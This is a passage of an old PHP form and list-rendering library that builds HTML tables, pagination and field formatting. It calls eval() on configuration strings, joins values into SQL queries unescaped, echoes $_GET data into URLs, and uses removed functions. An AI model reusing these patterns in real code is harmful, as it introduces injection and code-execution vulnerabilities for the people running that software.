//unclickable link $__template = "ListTitle"; } else { //if this field appears in the list of table firles show title with link if (is_array($__fields) && in_array($key , $__fields)) $__template = "ListTitleLink"; else //no link title $__template = "ListTitle"; } $__tmp_title = array( "title" => $__title, "width" => $val["width"] ? " width=\"{$val[width]}\" " : "", "final" => !is_array($form["buttons"]) && ($tmp_count == count($form["fields"])) ? "Final" : "", "first" => $tmp_count == 1 ? "First" : "", "link" => CSYS::_GetVar( array( "order" => $key , "order_mode"=> $__sorting_mode ) ), "order" => $sql_vars["order"] == $key ? $template->blocks["ListTitleLinkOrder"]->Replace( array( "order" => strtolower($__sorting_mode) ) ) : "" ); if ($form["valternance"] == "true") { $__tmp_title["_valternance"] = $this->_tmpVAlternanceHeader ? "2" : ""; $this->_tmpVAlternanceHeader = $this->_tmpVAlternanceHeader ? 0 : 1; } else $__tmp_title["_valternance"] = ""; //buildint the title header $titles .= $template->blocks[$__template]->Replace ( $__tmp_title ); } } //adding one more title col in titles ( the one for buttons ) if (is_array($form["buttons"])) { # DEPRECATED $titles .= $template->blocks["ListTitle"]->Replace ( array( "title" => "&nbsp" , "final" => "Final" , "width" => $val["width"] ? " width=\"{$val[width]}\" " : "" )); $row = $data . $template->blocks["ButtonsCell"]->output; } else $row = $data; //debug($form); $template->blocks["ListElement"]->input = $template->blocks["ListRow"]->Replace(array( "ROW" => $row, "class" => "FormSimpleListRow", "order_id" => is_array($order), "order_value" => "table_order_{" . strtoupper($form["table_uid"]) . "}" )); $titles = $template->blocks["ListRow"]->Replace(array( "ROW" => $titles , "CLASS" => "FormSimpleListTitle", "order_value" => "", )); //fuck i know this is stupid, but now i dont have other idees //if i see a variable <no heade> then i clear the template if ($form["header"]["titles"] == "false") { $titles = ""; } } $template->blocks["ListGroup"]->input = $template->blocks["ListGroupAjax"]->input; //prereplace the vars main template $template->blocks["ListGroup"]->input = $template->blocks["ListGroup"]->Replace($form); //! TEST if (is_array($global_vars)) { $template->blocks["ListElement"]->input = $template->blocks["ListElement"]->Replace($global_vars); $template->blocks["Button"]->input = $template->blocks["Button"]->Replace($global_vars); } //! E:TEST //prereplace the pagination template if (is_array($_GET)) { foreach ($_GET as $key => $val) { if ($key != "page") { //check if the data from get isnt a complex array too. if (is_array($val)) { foreach ($val as $k => $v) $url[] = $key . "[$k]" . "=" . $v; } else { if ($key == "returnurl") { $url[] = $key . "=" . urlencode($val); } else { $url[] = $key . "=" . $val; } } } } $url = $_SERVER["SCRIPT_NAME"] . "?" . @implode("&" , $url) . "&"; } $template->blocks["Page"]->input = $template->blocks["Page"]->Replace(array("BASE" => $url)); $_GET["page"] = ($_GET["page"] ? $_GET["page"] : "1"); $items = $this->__simple_list_process_items($form , $items); if ($form["items"]) { $return = CTemplateStatic::Replace( $html->Table( $template , "List" , $items), array( "paging" => CHTML::CustomPaging( $template , "Paging", 10 , ceil($count / $form["items"]) , $_GET["page"] , $url . "&page={PAGE}" ), ) ); } else { $return = $html->Table( $template , "List" , $items ); } if (is_array($this->functions["list"]["after"])) call_user_func($this->functions["list"]["after"],&$append); $this->templates->blocks["Temp"]->input = $return; return $this->__render($this->templates->blocks["Temp"]->input , array_merge((array)$global_vars,(array)$tpl_vars)); } /** * description * * @param * * @return * * @access */ function __simple_list_process_items($form , $items) { global $_CONF; $global_vars = $this->GlobalVars($form); $template = &$this->templates; //preprocessing the items if (is_array($items)) { foreach ($items as $key => $val) { if (is_array($form["fields"])) { foreach ($form["fields"] as $k => $v) { if (!$v["name"]) $v["name"] = $k; //this is for utf8 support, EXPERIMENTAL $items[$key][$k] = html_entity_decode($items[$key][$k] , ENT_QUOTES); switch ($v["type"]) { case "phone": if (!$v["size"]) $v["size"] = $this->__default["show"]["phone"]["size"]; $size = explode("," , $v["size"]); $items[$key]["original_" . $k] = $items[$key][$k]; if (strlen($items[$key][$k]) <2) $items[$key][$k] = "<i>N/A</i>"; else $items[$key][$k] = substr($items[$key][$k],0,$size["0"]) . "-" . substr($items[$key][$k],$size["0"],$size["1"]) . "-" . substr($items[$key][$k],$size["1"],$size["2"]); break; case "rostates": $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = $form_RO_states[$items[$key][$k]]; break; case "states": case "usstates": $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = $form_US_states[$items[$key][$k]]; break; case "castates": $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = $form_CA_states[$items[$key][$k]]; break; case "countries": $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = $form_countries[$items[$key][$k]]; break; case "date": //save the value $items[$key]["original_" . $k] = $items[$key][$k]; #### STILL WORKING ON THIS if (isset($v["fields"])) { $supp_fields = array("month" , "year" , "month_str", "day"); $_tmp_v = ""; foreach ($supp_fields as $__k => $__v) { switch ($__v) { case "month_str": $_tmp_v[$__v] = $form_months[$val[$k . "_month" ]]; break; case "day": $_tmp_v[$__v] = sprintf("%02d" ,$val[$k . "_day" ]); break; } } $items[$key][$k] = $v["fields"]; foreach ($_tmp_v as $__k => $__v) { $items[$key][$k] = str_replace($__k , $__v , $items[$key][$k]); } } else { if (isset($val[$k . "_day" ]) && isset($val[$k . "_month" ]) && isset($val[$k . "_year" ])) { $items[$key][$k] = ( $val[$k . "_month" ] ? sprintf("%02d" ,$val[$k . "_month" ]) : "--" ). "/" . ( $val[$k . "_day" ] ? sprintf("%02d" ,$val[$k . "_day" ]) : "--" ) . "/" . ( $val[$k . "_year" ] ? $val[$k . "_year" ] : "----" ) ; } else //$field["value"] = $field["value"] > 0 ? @date($field["params"] , $field["value"]) : "not available"; $items[$key][$k] = $items[$key][$k] > 0 ? @date($v["params"] , ($v["now"] == "true" ? time() : $items[$key][$k])) : "N/A"; } // $items[$key][$k] = $items[$key][$k] > 0 ? @date($v["params"] , ($v["now"] == "true" ? time() : $items[$key][$k])) : "N/A"; break; case "price": $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = number_format($items[$key][$k],2); break; case "int": $items[$key][$k] = (int)$items[$key][$k]; break; case "image": if (isset($items[$key][$k]) && $items[$key][$k]) { // if is the image then show it $items[$key][$k] = $template->blocks[$v["nolink"] == "true" ? "imageshownolink" : "imageshow"]->Replace( array( "width" => $v["width"], "border" => $v["border"] ? $v["border"] : 0, "height" => $v["height"] ? "height='{$v[height]}' " : "", "src" => $v["link"] ? $v["link"] : (($v["absolute"] == "true" ? "" : $_CONF["url"] . $_CONF["upload"]) . $v["path"] . CTemplateStatic::Replace($v["file"]["default"] , $items[$key]) . ($v["file"]["field"] ? $items[$key][$v["file"]["field"]] : "") . $v["file"]["ext"]), "title" => $v["title"] ) ); } else { //else check if the default image exists if ($v["default"]) { $items[$key][$k] = $template->blocks["imageshownolink"]->Replace( array( "width" => $v["width"], "border" => $v["border"] ? $v["border"] : 0, "height" => $v["height"] ? "height='{$v[height]}' " : "", "src" => $_CONF["url"] . $_CONF["upload"] . $v["path"] . $v["default"], "title" => $v["title"] ) ); } else //if not simply return a space $items[$key][$k] = "&nbsp;"; } break; case "relation": //cheking if there are static relations or dinamic relations $items[$key]["original_" . $k] = $items[$key][$k]; if (is_array($v["options"])) { if (($v["multi"] == "true" )) { $_tmp = explode("," , $items[$key][$k]); $items[$key][$k] = array(); foreach ($_tmp as $__k => $__v) $items[$key][$k][] = $v["options"][$__v]; if (count($items[$key][$k])) //implode by , $items[$key][$k] = implode($v["sep"] ? $v["sep"] : ", " , $items[$key][$k]); else $items[$key][$k] = ""; } else //ok, i have the static ones $items[$key][$k] = $v["options"][$items[$key][$k]] ? $v["options"][$items[$key][$k]] : "&nbsp;"; } if (is_array($v["relation"])) { //reading from database //MULTI ELEMENTS $tmp_table= explode("," , $v["relation"]["table"]); $rel_table = array(); if (count($tmp_table)) { foreach ($tmp_table as $__k => $__table) { $rel_table[] = $this->tables[$__table]; } $rel_table = implode(" , " , $rel_table); } else $rel_table = $this->tables[$v["relation"]["table"]]; if ($v["multi"] == "true") { $record = ""; $_tmp = explode("," , $items[$key][$k]); if (is_array($_tmp)) { //read the elements which arent already in the cache foreach ($_tmp as $__key => $__val) { if (!is_array($this->cache["list"][$v["name"]][$__val])) { $record[] = $this->cache["list"][$v["name"]][$__val] = $this->db->QFetchArray( "SELECT * FROM " . $rel_table . " WHERE `" . $v["relation"]["id"] . "`='" . $__val . "'" ); } else $record[] = $this->cache["list"][$v["name"]][$__val]; } //add all the elements to the existing } } else { //NON MULTI ELEMENTS //check if this isnt already inthe cache if (!is_array($record = $this->cache["list"][$v["name"]][$items[$key][$k]])) { $sql = "SELECT * FROM " . $rel_table . " WHERE `" . $v["relation"]["id"] . "`='" . $items[$key][$k] . "'"; $record =$this->db->QFetchArray( $sql ); //save the record in some sort of cache if (!is_array($record)) { $this->cache["list"][$v["name"]][$items[$key][$k]] = array(); } else $this->cache["list"][$v["name"]][$items[$key][$k]] = $record; } } //build the label for multiple fields if (is_array($v["relation"]["text"])) { $_tmp_text = ""; foreach ($v["relation"]["text"] as $kkey => $vval) if (is_array($vval)) $_tmp_text[] = $vval["preffix"] . $record[$vval["field"]] . $vval["suffix"]; else $_tmp_text[] = $record[$vval]; $items[$key][$k] = implode($v["relation"]["separator"] ? $v["relation"]["separator"] : " " , $_tmp_text); } else if (($v["multi"] == "true" ) && is_array($record)) { foreach ($record as $__k => $__v) $record[$__k] = $record[$__k][$v["relation"]["text"]]; //implode by , $items[$key][$k] = implode($v["sep"] ? $v["sep"] : ", " , $record); } else //else return the single field $items[$key][$k] = $record[$v["relation"]["text"]]; } if ($items[$key][$k] == "") $items[$key][$k] = "N/A"; break; case "sql": $items[$key]["original_" . $k] = $items[$key][$k]; if (is_array($v["sql"])) { $form_sql_vars = array(); if (is_array($v["sql"]["vars"])) { foreach ($v["sql"]["vars"] as $_key => $_val) { //echeking if the default must be evaluated if ($_val["action"] == "eval") { eval("\$_val[\"import\"] = " . $_val["default"] .";"); } switch ($_val["type"]) { case "eval": eval("\$form_sql_vars[\"$_key\"] = " . $_val["import"] . ";"); break; case "var": $form_sql_vars[$_key] = $_val["import"]; break; case "page": $form_sql_vars[$_key] = ($_GET[($_val["code"] ? $_val["code"] : 'page')] -1 )* $form['items']; break; case "form": eval("\$form_sql_vars[\"$_key\"] = " . $form[$_val["var"]] . ";"); break; case "table": $form_sql_vars[$_key] = $_val["import"] ? $this->tables[$_val["import"]] : $this->tables[$form["table"]]; break; case "field": $form_sql_vars[$_key] = $items[$key][$_val["import"]]; break; } } foreach ($form_sql_vars as $_key => $_val) { $this->templates->blocks["Temp"]->input = $_val; $form_sql_vars[$_key] = $this->templates->blocks["Temp"]->Replace($form_sql_vars); } //doing a double replace, in case there are unreplaced variable sfom "vars" type $this->templates->blocks["Temp"]->input = $v["sql"]["query"]; $sql = $this->templates->blocks["Temp"]->Replace($form_sql_vars); //do a precheck for [] elements to be replaced with <> $sql = str_replace("]" , ">" , str_replace("[" , "<" , $sql)); $record = $this->db->QFetchArray($sql); $items[$key][$k] = $record[$v["sql"]["field"]] ? $record[$v["sql"]["field"]] : "N/A"; $items[$key][$k] = $record[$v["sql"]["field"]] ? $record[$v["sql"]["field"]] : (isset($v["empty_msg"]) ? $v["empty_msg"] : "N/A"); } } else $items[$key][$k] = isset($v["empty_msg"]) ? $v["empty_msg"] : "N/A"; break; case "button": //check to see if this button isnt a protected one //fix the url transformations from the buttons $v["nolink"] = "true"; if ($v["protected"] && $items[$key][$v["protected"]]) { $items[$key][$k] = "&nbsp;"; } else { //replace the location and the button in the template $tmp = $v; //chec for variables which might not be defined $tmp["onmouseout"] = $tmp["onmouseout"] ? $tmp["onmouseout"] : ""; $tmp["onmouseover"] = $tmp["onmouseover"] ? $tmp["onmouseover"] : ""; $tmp["onclick"] = $tmp["onclick"] ? $tmp["onclick"] : ""; $tmp["title"] = $tmp["title"] ? $tmp["title"] : ""; $tmp["target"] = $tmp["target"] ? $tmp["target"] : ""; $button = new CTemplate($template->blocks["Button"]->Replace($tmp),"string"); $button->input = $button->Replace($global_vars); $items[$key][$k] = $button->Replace($items[$key]); } break; case "multiple": $items[$key]["original_" . $k] = $items[$key][$k]; // a control variable to know to add the data to end $found_multiple = true; $_tmp_data = array(); if ($v["checked"]) { if ($v["checked"] == "exact") { $_tmp_data["value"] = $v["value"]; if ($items[$key][$v["field"]] == $v["value"]) $_tmp_data["checked"] = "checked"; else $_tmp_data["checked"] = ""; } else { $_tmp_data["value"] = $items[$key][$v["value"]]; if ($items[$key][$v["field"]]) $_tmp_data["checked"] = "checked"; else $_tmp_data["checked"] = ""; } } else { $_tmp_data["value"] = $items[$key][$v["value"]]; } $items[$key][$k] = $template->blocks["SimpleListMultiple"]->Replace(array( "value" => $_tmp_data["value"], "checked" => $_tmp_data["checked"], "field" => $v["field"] , "subfield" => $items[$key][$v["subfield"]], "name" => $v["field"], "_count" => $items[$key]["original_count"] )); break; case "field": $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = $template->blocks["SimpleListFieldInput"]->Replace(array( "value" => $items[$key][$v["field-value"]] , "field" => $v["field-id"] , "_count" => $items[$key]["original_count"], "size" => $v["field-size"], "align" => $v["field-align"] ? "align=\"{$v['field-align']}\"" : "", "id" => $items[$key][$v["field-id"]], "field-type" => $v["field-type"], "field-sub" => $v["field-sub"] ? "[" . $v["field-sub"] . "]" : "" )); break; case "eval": eval("\$items[\"\$key\"][\"\$k\"] = " . $v["value"]); break; default: //if ($v["html"] != "true") //$items[$key][$k] = htmlentities($items[$key][$k]); $items[$key][$k] = $items[$key][$k] ? $items[$key][$k] : ($v["default"] ? $v["default"] : "&nbsp;"); break; } //!!!!!!!!!!!!!!!!!!!!!! // // might be a gix but as well may fuck everithing $items[$key][$k] = str_replace("&amp;","&",$items[$key][$k]); if ($v["maxchars"]) { $items[$key][$k] = substr($items[$key][$k],0,$v["maxchars"]) . (strlen($items[$key][$k]) > $v["maxchars"] ? ($v["maxchars_text"] ? $v["maxchars_text"] : $this->__default["list"]["fields"]["maxchars_text"]) : ""); } //check for protection if ($v["protected"] && $items[$key][$v["protected"]]) { $items[$key][$k] = "&nbsp;"; } if (($v["html"] != "true") && !$v["link"]) { //added the bbcode if ($v["bbcode"] == "true") { $items[$key][$k] = CBBCode::Convert($items[$key][$k],""); } else { if ($v["nolink"] != "true") { $items[$key][$k] = eregi_replace("([_a-z0-9\-\.]+)@([a-z0-9\-\.]+)\." . "(net|com|gov|mil|org|edu|int|biz|asia|info|name|pro|[A-Z]{2})". "($|[^a-z]{1})", "<a title=\"Click to open the mail client.\" href=\"mailto:\\1@\\2.\\3\">\\1@\\2.\\3</a>\\4", $items[$key][$k]); $items[$key][$k] = eregi_replace("(http|https|ftp)://([[:alnum:]/\n+-=%&:_.~?]+[#[:alnum:]+]*)","<a href=\"\\1://\\2\" title=\"Click to open in new window.\" target=\"_blank\">\\2</a>", $items[$key][$k]); } } } $items[$key][$k] = $v["preffix"] . ( strtoupper($v["allownl"]) == "TRUE" ? nl2br($items[$key][$k]) : $items[$key][$k] ). $v["suffix"]; //check to see if there is a tag set called link if ($v["link"]) { //okay, this field must be a link $tmp = new CTemplate( $this->templates->blocks["ListLink"]->Replace(array( "link" => $v["link"], "title" => $items[$key][$k] )) , "string"); $tmp->input = $tmp->Replace($global_vars); //backup the original if (!$items[$key]["original_" . $k]) $items[$key]["original_" . $k] = $items[$key][$k]; $items[$key][$k] = $tmp->Replace($items[$key]); } if ($v["nobr"] == "true") { $items[$key][$k] = "<nobr>" . $items[$key][$k] . "</nobr>"; } //format the font style apearing in the column // can be b,u,i meaning <b></b> , etc if ($v["font"]) { //bread the font selements $__fonts = @explode("," , $v["font"]); if (is_array($__fonts)) { $font__pre = ""; $font__after = ""; foreach ($__fonts as $__font) { $font__pre = $font__pre . "<$__font>"; $font__after = "</$__font>" . $font__pre; } $items[$key][$k] = $font__pre . $items[$key][$k] . $font__after; } } //format the color of the font for the text from the column, //allows font color and background speared w/ :, can be only one too. if ($v["color"]) { $colors = @explode(":" , $v["color"]); if (count($colors) == 1) $style = "color: {$colors[0]}"; else $style = "color: {$colors[0]};backgrond: {$colors[1]}"; //add a span w/ color info $items[$key][$k] = "<span style=\"{$style}\">" . $items[$key][$k] . "</span>"; } } } //adding the fucking buttons if (is_array($form["buttons"])) { foreach ($form["buttons"] as $key2 => $val2) { if ($key2 != "set") { if ($val2["protected"] && $items[$key][$val2["protected"]]) { } else { //do a replace with the values from the item $this->templates->blocks["Temp"]->input = $val2["location"]; $this->templates->blocks["Temp"]->input = $this->templates->blocks["Temp"]->Replace($global_vars); $val2["location"] = $this->ProcessLinks($this->templates->blocks["Temp"]->Replace(array_merge($items[$key],$global_vars))); //do an extra replacement for space with %20 $val2["location"] = str_replace(" ","%20" , $val2["location"]); $val2["title"] = $val2["title"]; $val2["onmouseout"] = $val2["onmouseout"]; $val2["onmouseover"] = $val2["onmouseover"]; $val2["onclick"] = $val2["onclick"]; $val2["target"] = $val2["target"]; $items[$key]["buttons"] .= ($form["buttons"]["set"]["buttonsvert"] == "true" ? "<tr><td height=3></td></tr><tr>" : "" ). $template->blocks["Button"]->Replace($val2) . ($form["buttons"]["set"]["buttonsvert"] == "true" ? "</tr>" : "" ); } } } //do a check for the cases when all buttons were protected if ( $items[$key]["buttons"] == "") { $items[$key]["buttons"] = "&nbsp;"; } } else { $items[$key]["buttons"] = ""; } //add the alternance field here if ($form["alternance"] == "true") { $items[$key]["_alternance"] = $this->_tmpAlternance ? "Alt" : ""; $this->_tmpAlternance = $this->_tmpAlternance ? 0 : 1; } else $items[$key]["_alternance"] = ""; } } return $items; } /** * description * * @param * * @return * * @access */ function SimpleList($form , $items = "", $count = "", $extra = null , $search = false , $returnArray = false) { global $_CONF , $form_errors , $_USER , $form_countries, $form_months, $form_US_states, $form_RO_states, $form_CA_states; if (is_array($form["order"]) && ($form["order"]["drag"] == "true") && !$this->__isRestricted($form["order"]["restricted"])) { $form["fields"]["button_reorder"] = array( "type" => "button", "width" => "20", "align" => "center", "button" => $form["order"]["button"] ? $form["order"]["button"] : "reorder", "location" => "javascript:void(0);" ); } else { if (is_array($form["order"])) { unset($form["order"]); } } //add the extra button if order exists if (is_array($form["vars"])) { foreach ($form["vars"] as $key => $val) { //echeking if the default must be evaluated if ($val["action"] == "eval") { eval("\$val[\"import\"] = " . $val["default"] .";"); } switch ($val["type"]) { case "eval": eval("\$tpl_vars[\"$key\"] = " . $val["import"] . ";"); break; case "complex_eval": eval($val["import"]); break; case "var": $tpl_vars[$key] = $val["import"]; break; } } } //$tpl_vars = array_merge($tpl_vars); $global_vars = $this->GlobalVars($form); $records = $this->__simple_list_load_records($form); $items = $records["items"]; $count = $records["count"]; $has_paging = $records["count"] > count($records["items"]); if ($returnArray == true) { return array( "items" => $items, "count" => $count ); } //check if ordering field is acctivated disable the reordering if (is_array($form["order"])) { $form["header"]["nolinks"] = "true"; } $_new_count = $start; $html = new CHtml(); $form = $this->Process($form); $template = &$this->templates; //this sux, building the template if (is_array($form["fields"])) { //prepare the fields list if ($form["sql"]["vars"]["fields"] != "") $__fields = explode("," , $form["sql"]["vars"]["fields"]); else { //read the fields from the table if (is_array($__tables) && is_object($this->db)) { $__fields = array(); foreach ($__tables as $_k => $_v) { $__fields = array_merge((array)$__fields , (array)$this->db->GetTableFields($sql_vars[$_v])); } } } $tmp_count = 0; foreach ($form["fields"] as $key => $val) { if (!($val["restricted"] && $this->__isRestricted($val["restricted"]))) { $tmp_count ++; $cell = array ( "width" => $val["width"], "align" => $val["align"], "value" => "{" . strtoupper($key) . "}", "valign" => $val["valign"] ? $val["valign"] : "middle", "final" => !is_array($form["buttons"]) && ($tmp_count == count($form["fields"])) ? "Final" : "", "first" => $tmp_count == 1 ? "First" : "", ); //add the alternance field here if ($form["valternance"] == "true") { $cell["_valternance"] = $this->_tmpVAlternance ? "2" : ""; $this->_tmpVAlternance = $this->_tmpVAlternance ? 0 : 1; } else $cell["_valternance"] = ""; $data .= $template->blocks["ListCell"]->Replace ( $cell ); if ($val["type"] == "multiple") $val["header"] = $template->blocks["SimpleListMultipleHeader"]->Replace(array( "name" => $val["field"], "start" => $_old_count, "end" => $_new_count )); //prepare the title $__title = ($val["header"] ? $val["header"] : "<img width=0 height=1 border=0/>"); if ($sql_vars["order"] == $key) $__sorting_mode = $_GET["order_mode"] == "ASC" ? "DESC" : "ASC"; else $__sorting_mode = "ASC"; //check if this forms allows the title to be sortable if ($form["header"]["nolinks"] == "true") { //unclickable link $__template = "ListTitle"; } else { //if this field appears in the list of table firles show title with link if (is_array($__fields) && in_array($key , $__fields)) $__template = "ListTitleLink"; else //no link title $__template = "ListTitle"; } $__tmp_title = array( "title" => $__title, "width" => $val["width"] ? " width=\"{$val[width]}\" " : "", "final" => !is_array($form["buttons"]) && ($tmp_count == count($form["fields"])) ? "Final" : "", "first" => $tmp_count == 1 ? "First" : "", "link" => CSYS::_GetVar( array( "order" => $key , "order_mode"=> $__sorting_mode ) ), "order" => $sql_vars["order"] == $key ? $template->blocks["ListTitleLinkOrder"]->Replace( array( "order" => strtolower($__sorting_mode) ) ) : "" ); if ($form["valternance"] == "true") { $__tmp_title["_valternance"] = $this->_tmpVAlternanceHeader ? "2" : ""; $this->_tmpVAlternanceHeader = $this->_tmpVAlternanceHeader ? 0 : 1; } else $__tmp_title["_valternance"] = ""; //buildint the title header $titles .= $template->blocks[$__template]->Replace ( $__tmp_title ); } } //adding one more title col in titles ( the one for buttons ) if (is_array($form["buttons"])) { # DEPRECATED $titles .= $template->blocks["ListTitle"]->Replace ( array( "title" => "&nbsp" , "final" => "Final" , "width" => $val["width"] ? " width=\"{$val[width]}\" " : "" )); $row = $data . $template->blocks["ButtonsCell"]->output; } else $row = $data; //debug($form); $template->blocks["ListElement"]->input = $template->blocks["ListRow"]->Replace(array( "ROW" => $row, "class" => "FormSimpleListRow", "order_id" => is_array($order), "order_value" => "table_order_{" . strtoupper($form["table_uid"]) . "}" )); $titles = $template->blocks["ListRow"]->Replace(array( "ROW" => $titles , "CLASS" => "FormSimpleListTitle", "order_value" => "", )); //fuck i know this is stupid, but now i dont have other idees //if i see a variable <no heade> then i clear the template if ($form["header"]["titles"] == "false") { $titles = ""; } } //bulding the header buttons and search box if (is_array($form["header"]["buttons"])) { foreach ($form["header"]["buttons"] as $key => $val) { if (!($val["restricted"] && $this->__isRestricted($val["restricted"]))) { $val = array_merge($_GET , $val); $this->templates->blocks["Temp"]->input = $val["location"]; $val["location"] = $this->templates->blocks["Temp"]->Replace($val); $val["location"] = CryptLink($val["location"]); $val["title"] = $val["title"]; $val["onmouseout"] = $val["onmouseout"]; $val["onmouseover"] = $val["onmouseover"]; $val["onclick"] = $val["onclick"]; $val["target"] = $val["target"]; $header["buttons"] .= $template->blocks["Button"]->Replace($val); } } } //fuck the search options, this is kinda buggy for this version, will be fixed in other if (is_array($form["header"]["search"])) { $form_search = $form["header"]["search"]; //bulding the droplist options if (is_array($form_search["options"])) { foreach ($form_search["options"] as $key => $val) { $search_form[$key]["label"] = $val; $search_form[$key]["checked"] = $_GET[$form_search["variable"]] == $key ? " selected " : ""; $search_form[$key]["tag"] = is_array($val) && $val["type"] == "group" ? "optgroup" : "option"; } $search["droplist"] = $html->FormSelect( "what" , $search_form , $template, "Select" , $_GET["what"], $search_form , array( "width" => "" , "onchange" => "" ) ); //building the form and the buttons //reading all varibals from $_GET excepting the $_GET["page"], and transform them in hidden fields if (is_array($_GET)) { $temp = $_GET; //force the action variable $temp[$this->forms["uridata"]["action"]] = $this->forms["uridata"]["search"]; foreach ($temp as $key => $val) { if (!in_array($key , array( "page" , "what" , "search"))) { $search["fields"] .= $template->blocks["SearchField"]->Replace(array("name" => $key , "value" => $val)); } } } //preparing the action, post the requests to the same file as curernt $search["action"] = $_SERVER["PHP_SELF"]; $search["value"] = $_GET["search"]; $header["search"] = $template->blocks["SearchForm"]->Replace($search); } } //building the template if (is_array($form["header"])) { if (($form["collapse"]["automatic"] == "true")&&($form["border"] == "true")) { unset($form["collapse"]); } if (is_array($form["collapse"]) && is_object($this->templates->blocks["ListCollapse"])) { $header["collapse"] = $this->templates->blocks["ListCollapse"]->Replace($form["collapse"]); } else $header["collapse"] = ""; //cleanup the variables $header["buttons"] = $header["buttons"] ? $header["buttons"] : ""; $header["search"] = $header["search"] ? $header["search"] : ""; $header["subtitle"] = $form["subtitle"]; //prepare the $header = $template->blocks["ListHeader"]->Replace($header); } else $header = ""; //process the paging here, i need the url for the ajax part if (is_array($_GET)) { foreach ($_GET as $key => $val) { if ($key != "page") { //check if the data from get isnt a complex array too. if (is_array($val)) { foreach ($val as $k => $v) $url[] = $key . "[$k]" . "=" . $v; } else { if ($key == "returnurl") { $url[] = $key . "=" . urlencode($val); } else { $url[] = $key . "=" . $val; } } } } $url = $_SERVER["SCRIPT_NAME"] . "?" . @implode("&" , $url) . "&"; } $ajax_read_more_link = $url . "ajax=true&"; $template->blocks["ListGroup"]->input = $template->blocks["ListGroup"]->Replace(array( "_HEADER" => $header , "_TITLES" => $titles , //adding the extra html "_HTML_PRE" => (is_array($form["html"]["pre"]) && ($form["html"]["pre"]["type"] == "extern")) ? GetFileContents(dirname($form["xmlfile"]) . "/" . $form["html"]["pre"]["file"]) : html_entity_decode($form["html"]["pre"]), "_HTML_MIDDLE" => (is_array($form["html"]["middle"]) && ($form["html"]["middle"]["type"] == "extern")) ? GetFileContents(dirname($form["xmlfile"]) . "/" . $form["html"]["middle"]["file"]) : html_entity_decode($form["html"]["middle"]), "_PRE_TABS" => $this->DrawTabs($form["tabs"]), "_HTML_AFTER" => (is_array($form["html"]["after"]) && ($form["html"]["after"]["type"] == "extern")) ? GetFileContents(dirname($form["xmlfile"]) . "/" . $form["html"]["after"]["file"]) : html_entity_decode($form["html"]["after"]), "PRE" => $extra["pre"], "AFTER" => $extra["after"], "COLLAPSE_ID" => $form["collapse"]["id"], "COLLAPSE_INIT" => is_array($form["collapse"]) && is_object($this->templates->blocks["ListCollapseInit"]) ? $this->templates->blocks["ListCollapseInit"]->Replace($form["collapse"]) : "", //add the id who activates the drag and drop field "order_id" => is_array($form["order"]) ? "OXBFormSort" : "", "more_records" => is_array($form["order"]) && $has_paging ? $this->templates->blocks["ListMoreRecords"]->Replace( array( "cols_count" => count($form["fields"]), "ajax_link" => $ajax_read_more_link ) ): "", //do the colspan nicely "cols_count" => count($form["fields"]), )); /* } else { //cleanup the vars $form["_HEADER"] = ""; $form["_TITLES"] = ""; $form["_HTML_PRE"] = ""; $form["_HTML_AFTER"] = ""; $form["pre"] = $form["after"] = ""; $form["_pre_tabs"] = $this->DrawTabs($form["tabs"]); } */ //prereplace the vars main template $template->blocks["ListGroup"]->input = $template->blocks["ListGroup"]->Replace($form); //! TEST if (is_array($global_vars)) { $template->blocks["ListElement"]->input = $template->blocks["ListElement"]->Replace($global_vars); $template->blocks["Button"]->input = $template->blocks["Button"]->Replace($global_vars); } //! E:TEST //prereplace the pagination template $template->blocks["Page"]->input = $template->blocks["Page"]->Replace(array("BASE" => $url)); $_GET["page"] = ($_GET["page"] ? $_GET["page"] : "1"); $items = $this->__simple_list_process_items($form , $items); if ($form["items"]) { $return = CTemplateStatic::Replace( $html->Table( $template , "List" , $items), array( "paging" => CHTML::CustomPaging( $template , "Paging", 10 , ceil($count / $form["items"]) , $_GET["page"] , $url . "&page={PAGE}" ), ) ); } else { $return = $html->Table( $template , "List" , $items ); } //crap, append some extra elements to this form, in case, fuck, i dont know how to handle if there will be 2 pagging functions. if (is_array($this->functions["list"]["after"])) call_user_func($this->functions["list"]["after"],&$append); //clearing the extra value if (!$append) { $append = ""; } //adding the border //doing a small trick before adding the border if ($form["border"] != "true") { //overwrite the border template with the content one $border = new CTemplate($return , "string"); } else { $border = &$this->templates->blocks["Border"]; } $return = $border->Replace( array( "_TEMPLATE_DATA" => $return , "WIDTH" => $form["width"], "TITLE" => $form["title"] , "EXTRA" => $append )); $this->templates->blocks["Temp"]->input = $return; // do a check for the cases when is required a form if ($form["formtag"] == "true") { $form["id"] = $form["id"] ? " id=\"" . $form["id"] . "\" " : ""; $form["encoding"] = $form["encoding"] ? $form["encoding"] : ""; $form["method"] = $form["method"] ? $form["method"] : "post"; $form["_template_data"] = $this->templates->blocks["Temp"]->input; $this->templates->blocks["Temp"]->input = $this->templates->blocks["Action"]->Replace( $form ); } //debug($global_vars); return $this->__render($this->templates->blocks["Temp"]->input , array_merge((array)$global_vars,(array)$tpl_vars)); } /** * description * * @param * * @return * * @access */ function InsertField( $params ) { //for the momment it dont support complex fields like referers, and multiple //preparing the input vars $form["fields"]["temp"] = $params; $values["values"][$params["name"]] = $params["value"] ; //draw the element return $this->DrawElement ( $form , "temp" , $values ); } /** * description * * @param * * @return * * @access */ function DrawElement( $form , $_field , $values , $draw_referer = 0 ) { global $_SESS , $_CONF, $form_RO_states, $form_US_states, $form_CA_states, $form_countries , $form_timezones , $_VARS , $_USER , $base , $_TSM , $_SESS , $form_months; $field = $form["fields"][$_field]; $field["_end_char"] = $field["title"] ? ":" : ""; //add a special type if ($field["type"] == "after_save") { $form["fields"][$_field] = $field = array( "type" => "droplist", "name" => "after_save", "default" => "\$_GET[after_save];", "action" => "eval", "title" => "After save", "options" => array( "0" => "return to previous page", "1" => "add a new record" ) ); } //doing a precheck in case there are referers or multiples to elements which arent in xml if (!is_array($field)) return ""; if (!$field["type"]) { return ""; } if (is_string($field["default"])) { if ((substr($field["default"],0,5) == "eval:")) { $field["action"] = "eval"; $field["default"] = substr($field["default"],5); } } //a temporary solution for name loosing $field["name"] = $_field; if (!isset($values["values"][$field["name"]])) { switch ($field["action"]) { case "eval": if (isset($field["default"])) eval("\$field[\"value\"] = " . $field["default"] . ";"); break; case 